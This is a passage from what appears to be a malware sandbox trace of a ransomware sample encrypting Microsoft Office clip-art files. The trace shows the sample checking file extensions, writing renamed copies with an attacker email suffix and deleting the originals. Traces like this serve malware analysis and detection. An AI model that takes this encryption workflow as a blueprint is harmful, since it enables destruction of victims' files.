(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0234.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.281] lstrlenW (lpString=".doc") returned 4 [0234.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.281] lstrlenW (lpString=".docx") returned 5 [0234.281] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.281] lstrlenW (lpString=".pdf") returned 4 [0234.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.281] lstrlenW (lpString=".xls") returned 4 [0234.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.281] lstrlenW (lpString=".xlsx") returned 5 [0234.281] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.281] lstrlenW (lpString=".ppt") returned 4 [0234.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.281] lstrlenW (lpString=".zip") returned 4 [0234.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.281] lstrlenW (lpString=".rar") returned 4 [0234.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.281] lstrlenW (lpString=".bz2") returned 4 [0234.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.281] lstrlenW (lpString=".7z") returned 3 [0234.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.281] lstrlenW (lpString=".dbf") returned 4 [0234.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.281] lstrlenW (lpString=".1cd") returned 4 [0234.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.282] lstrlenW (lpString=".jpg") returned 4 [0234.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.282] lstrlenW (lpString=".doc") returned 4 [0234.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.282] lstrlenW (lpString=".docx") returned 5 [0234.282] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.282] lstrlenW (lpString=".pdf") returned 4 [0234.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.282] lstrlenW (lpString=".xls") returned 4 [0234.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.282] lstrlenW (lpString=".xlsx") returned 5 [0234.282] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.282] lstrlenW (lpString=".ppt") returned 4 [0234.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.282] lstrlenW (lpString=".zip") returned 4 [0234.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.282] lstrlenW (lpString=".rar") returned 4 [0234.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.282] lstrlenW (lpString=".bz2") returned 4 [0234.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.282] lstrlenW (lpString=".7z") returned 3 [0234.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.282] lstrlenW (lpString=".dbf") returned 4 [0234.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.282] lstrlenW (lpString=".1cd") returned 4 [0234.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0234.282] lstrlenW (lpString=".jpg") returned 4 [0234.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.282] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.282] lstrlenW (lpString="J0107364.WMF") returned 12 [0234.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.283] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=16588) returned 1 [0234.283] CloseHandle (hObject=0x4cc) returned 1 [0234.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 0x220 [0234.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.284] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.284] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.284] GetLastError () returned 0x0 [0234.284] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x40cc, lpOverlapped=0x0) returned 1 [0234.286] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x40d0, lpOverlapped=0x0) returned 1 [0234.287] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0234.287] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0234.287] SetEndOfFile (hFile=0x548) returned 1 [0234.287] CloseHandle (hObject=0x548) returned 1 [0234.287] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.287] SetEndOfFile (hFile=0x4cc) returned 1 [0234.289] CloseHandle (hObject=0x4cc) returned 1 [0234.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0234.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.290] lstrlenW (lpString=".doc") returned 4 [0234.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.290] lstrlenW (lpString=".docx") returned 5 [0234.290] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0234.291] lstrlenW (lpString=".pdf") returned 4 [0234.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString=".xls") returned 4 [0234.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.291] lstrlenW (lpString=".xlsx") returned 5 [0234.291] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0234.291] lstrlenW (lpString=".ppt") returned 4 [0234.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.291] lstrlenW (lpString=".zip") returned 4 [0234.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.291] lstrlenW (lpString=".rar") returned 4 [0234.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString=".bz2") returned 4 [0234.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString=".7z") returned 3 [0234.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.291] lstrlenW (lpString=".dbf") returned 4 [0234.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.291] lstrlenW (lpString=".1cd") returned 4 [0234.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.291] lstrlenW (lpString=".jpg") returned 4 [0234.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.291] lstrlenW (lpString=".doc") returned 4 [0234.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString=".docx") returned 5 [0234.291] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0234.291] lstrlenW (lpString=".pdf") returned 4 [0234.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString=".xls") returned 4 [0234.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.291] lstrlenW (lpString=".xlsx") returned 5 [0234.291] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0234.291] lstrlenW (lpString=".ppt") returned 4 [0234.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.291] lstrlenW (lpString=".zip") returned 4 [0234.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.291] lstrlenW (lpString=".rar") returned 4 [0234.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString=".bz2") returned 4 [0234.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.291] lstrlenW (lpString=".7z") returned 3 [0234.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.291] lstrlenW (lpString=".dbf") returned 4 [0234.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.292] lstrlenW (lpString=".1cd") returned 4 [0234.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0234.292] lstrlenW (lpString=".jpg") returned 4 [0234.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.292] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.292] lstrlenW (lpString="J0107426.WMF") returned 12 [0234.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.293] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11492) returned 1 [0234.293] CloseHandle (hObject=0x4cc) returned 1 [0234.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 0x220 [0234.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.293] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.293] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.294] GetLastError () returned 0x0 [0234.294] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2ce4, lpOverlapped=0x0) returned 1 [0234.295] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0234.296] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0234.296] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0234.296] SetEndOfFile (hFile=0x548) returned 1 [0234.297] CloseHandle (hObject=0x548) returned 1 [0234.297] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.297] SetEndOfFile (hFile=0x4cc) returned 1 [0234.298] CloseHandle (hObject=0x4cc) returned 1 [0234.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 1 [0234.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.299] lstrlenW (lpString=".doc") returned 4 [0234.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.299] lstrlenW (lpString=".docx") returned 5 [0234.299] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0234.300] lstrlenW (lpString=".pdf") returned 4 [0234.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString=".xls") returned 4 [0234.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.300] lstrlenW (lpString=".xlsx") returned 5 [0234.300] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0234.300] lstrlenW (lpString=".ppt") returned 4 [0234.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.300] lstrlenW (lpString=".zip") returned 4 [0234.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.300] lstrlenW (lpString=".rar") returned 4 [0234.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString=".bz2") returned 4 [0234.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString=".7z") returned 3 [0234.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.300] lstrlenW (lpString=".dbf") returned 4 [0234.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.300] lstrlenW (lpString=".1cd") returned 4 [0234.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.300] lstrlenW (lpString=".jpg") returned 4 [0234.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.300] lstrlenW (lpString=".doc") returned 4 [0234.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString=".docx") returned 5 [0234.300] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0234.300] lstrlenW (lpString=".pdf") returned 4 [0234.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString=".xls") returned 4 [0234.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.300] lstrlenW (lpString=".xlsx") returned 5 [0234.300] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0234.300] lstrlenW (lpString=".ppt") returned 4 [0234.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.300] lstrlenW (lpString=".zip") returned 4 [0234.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.300] lstrlenW (lpString=".rar") returned 4 [0234.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString=".bz2") returned 4 [0234.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.300] lstrlenW (lpString=".7z") returned 3 [0234.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.300] lstrlenW (lpString=".dbf") returned 4 [0234.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.301] lstrlenW (lpString=".1cd") returned 4 [0234.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0234.301] lstrlenW (lpString=".jpg") returned 4 [0234.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.301] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.301] lstrlenW (lpString="J0107446.WMF") returned 12 [0234.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.301] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=30336) returned 1 [0234.301] CloseHandle (hObject=0x4cc) returned 1 [0234.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 0x220 [0234.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.302] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.302] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.303] GetLastError () returned 0x0 [0234.303] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x7680, lpOverlapped=0x0) returned 1 [0234.714] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x7690, lpOverlapped=0x0) returned 1 [0234.715] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0234.715] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0234.715] SetEndOfFile (hFile=0x548) returned 1 [0234.715] CloseHandle (hObject=0x548) returned 1 [0234.715] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.716] SetEndOfFile (hFile=0x4cc) returned 1 [0234.719] CloseHandle (hObject=0x4cc) returned 1 [0234.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0235.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.247] lstrlenW (lpString=".doc") returned 4 [0235.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.247] lstrlenW 